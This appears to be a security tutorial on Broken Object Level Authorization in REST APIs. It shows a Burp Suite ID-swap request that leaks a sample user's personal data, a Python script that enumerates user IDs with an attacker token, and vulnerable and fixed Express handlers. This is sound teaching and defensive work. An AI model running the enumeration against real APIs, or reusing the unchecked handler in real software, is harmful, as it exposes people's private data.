Hands-On Tutorial: Exploiting & Fixing Broken Object Level Authorization (BOLA) in REST APIs

# Hands-On Tutorial: Exploiting & Fixing Broken Object Level Authorization (BOLA)

Broken Object Level Authorization (BOLA) — formerly known as Insecure Direct Object References (IDOR) — remains the #1 vulnerability on the OWASP API Security Top 10 list.

In this practical, hands-on tutorial, you will learn how to audit API endpoints for authorization vulnerabilities, automate parameter swapping in Burp Suite, and implement server-side validation code to remediate the flaw.

---

## Prerequisites & Lab Setup

Before starting, ensure you have the following installed:
- **Burp Suite Community / Professional Edition**
- **Python 3.10+ & `requests` library**
- **cURL / Postman / Insomnia API Client**
- **Basic understanding of HTTP request methods and JSON payloads**

---

## Step 1: Setting Up the Target Environment

Consider a vulnerable REST API handling user profile updates and private data retrieval:

- Endpoint: `GET /api/v1/users/{user_id}/profile`
- Authentication Header: `Authorization: Bearer <JWT>`

### Target API Specification Matrix:

| Account Name | User ID | Authorization Token (JWT) | Access Privileges |
|---|---|---|---|
| Alice (Victim) | `10042` | `eyJhbGciOiJIUzI1Ni... (Token Alice)` | Standard User |
| Bob (Attacker) | `10043` | `eyJhbGciOiJIUzI1Ni... (Token Bob)` | Standard User |

---

## Step 2: Capturing & Analyzing Baseline Requests in Burp Suite

1. Launch Burp Suite and configure your browser proxy (`127.0.0.1:8080`).
2. Log in as **Bob (Attacker, User ID `10043`)**.
3. Intercept the profile retrieval request in Burp Proxy:

```http
GET /api/v1/users/10043/profile HTTP/1.1
Host: api.vulnerable-app.local
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMDA0MywiaWF0IjoxNzE2OTAwMDAwfQ...
Accept: application/json
```

4. Send the captured request to **Burp Repeater** (`Ctrl + R`).

---

## Step 3: Executing the BOLA Authorization Swap

1. In Burp Repeater, leave Bob's `Authorization: Bearer ...` token unchanged in the header.
2. Modify the URL path parameter, changing `10043` (Bob's ID) to `10042` (Alice's ID):

```http
GET /api/v1/users/10042/profile HTTP/1.1
Host: api.vulnerable-app.local
Authorization: Bearer <BOB_JWT_TOKEN>
Accept: application/json
```

3. Click **Send** and examine the server response:

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{
"status": "success",
"data": {
"user_id": 10042,
"full_name": "Alice Smith",
"email": "alice@company.com",
"phone": "+1-555-0198",
"ssn_last_four": "9821",
"address": "42 Security Blvd, Cyber City"
}
}
```

### Exploitation Analysis:
The server returned `200 OK` and leaked Alice's private PII to Bob. The API checked *whether* the request contained a valid JWT token, but failed to check *whether the authenticated identity matches the requested object ID*.

---

## Step 4: Automating Large-Scale BOLA Audits via Python

To test hundreds of IDs programmatically during an authorized penetration test, use the following Python script:

```python
#!/usr/bin/env python3
import requests
import json

TARGET_URL = "https://api.vulnerable-app.local/api/v1/users/{}/profile"
ATTACKER_TOKEN = "eyJhbGciOiJIUzI1Ni..." # Attacker's JWT

headers = {
"Authorization": f"Bearer {ATTACKER_TOKEN}",
"User-Agent": "Andrax-Pentest-BOLA-Scanner/1.0"
}

print("[+] Starting BOLA Enumeration Scan...")

for user_id in range(10040, 10050):
url = TARGET_URL.format(user_id)
response = requests.get(url, headers=headers, verify=False)

if response.status_code == 200:
data = response.json()
print(f"[CRITICAL VULNERABILITY] BOLA Confirmed on ID {user_id}! Leaked Email: {data['data'].get('email')}")
elif response.status_code == 403:
print(f"[-] ID {user_id}: 403 Forbidden (Secured)")
else:
print(f"[*] ID {user_id}: Status {response.status_code}")
```

---

## Step 5: Fixing BOLA in Code (Node.js & Python Examples)

### Vulnerable Code Example (Node.js Express):
```javascript
// VULNERABLE: No ownership validation check!
app.get('/api/v1/users/:id/profile', authenticateJWT, async (req, res) => {
const userId = req.params.id;
const userProfile = await db.User.findByPk(userId);
return res.json({ status: 'success', data: userProfile });
});
```

### Secure Code Example (Node.js Express):
```javascript
// SECURE: Validates token identity against target object owner
app.get('/api/v1/users/:id/profile', authenticateJWT, async (req, res) => {
const requestedUserId = parseInt(req.params.id, 10);
const authenticatedUserId = req.user.id; // Extracted from verified JWT payload

// Enforce Access Control Policy
if (requestedUserId !== authenticatedUserId && req.user.role !== 'Admin') {
return res.status(403).json({ status: 'error', message: 'Forbidden: Unauthorized object access' });
}

const userProfile = await db.User.findByPk(requestedUserId);
return res.json({ status: 'success', data: userProfile });
});
```

---

## Lab Verification & Checklist

- [x] Verified baseline user authentication.
- [x] Captured and replayed parameter-swapped requests.
- [x] Confirmed unauthorized cross-tenant data leakage.
- [x] Implemented token-to-object ownership checks on server backend.
- [x] Re-tested endpoint to confirm HTTP `403 Forbidden` response.

---
*Created by Syed Zada Abrar — Founder & Lead Researcher, Andrax Pentester.*